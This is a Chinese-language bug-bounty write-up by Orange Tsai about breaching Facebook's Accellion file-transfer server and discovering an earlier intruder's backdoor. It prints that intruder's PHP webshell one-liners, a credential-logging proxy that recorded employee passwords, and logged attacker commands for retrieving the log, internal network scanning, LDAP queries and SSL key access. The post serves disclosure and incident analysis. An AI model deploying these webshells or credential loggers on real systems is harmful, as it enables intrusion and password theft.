by Orange Tsai
How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)
身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <( ̄︶ ̄)>
當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。
隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。
一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 “範圍” 有多大,姑且可以評估一下從何處比較有機會下手。例如:
當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。
一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討
理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱
tfbnw.net
TFBNW 似乎是 “ TheFacebook Network ” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器
vpn.tfbnw.net
哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。
TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現
從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。
在同網段中,發現一台特別的伺服器
files.fb.com
↑ files.fb.com 登入介面
從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)
FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。
首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory
弱點中可直接從 “ /tws/getStatus ” 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!
不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!
整個 FTA 產品大致架構
首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…
經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!
經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了
除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號
詳細的弱點細節會待 Full Disclosure Policy 後公布!
↑ 使用 Pre-Auth SQL Injection 寫入 Webshell
在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P
Facebook 大致有以下限制:
無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。
正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。
首先是在 “ /var/opt/apache/php_error_log ” 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?
↑ PHP error log
跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門
↑ Webshell on facebook server
其中幾個檔案的內容如下
沒錯,就是那個 sshpass
<?php echo shell_exec($_GET['c']); ?>
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
<?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // 省略... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "/n"); // 省略...
前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “ sclient_user_class_standard.inc ” 這個檔案
include_once 中 “ sclient_user_class_standard.inc.orig ” 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來
整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
↑ Logged passwords
從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)
發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 “ @fb.com ” 或是 “ @facebook.com ” 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式
在這裡相信記錄到的是真實的員工帳號密碼, **猜測 ** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…
此外,這名 “駭客” 可能習慣不太好 :P
從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
打包檔案
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files
對內部網路結構進行探測
dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...
使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD
嘗試對內部 LDAP 進行連接
sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
嘗試訪問內部網路資源( 看起來 Mail OWA 可以直接訪問 …)
--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.
嘗試對 SSL Private Key 下手
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input
從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …
在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD
從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬
七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。
這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD也讓我有這個機會可以來寫寫關於滲透的一些文章 :P
最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )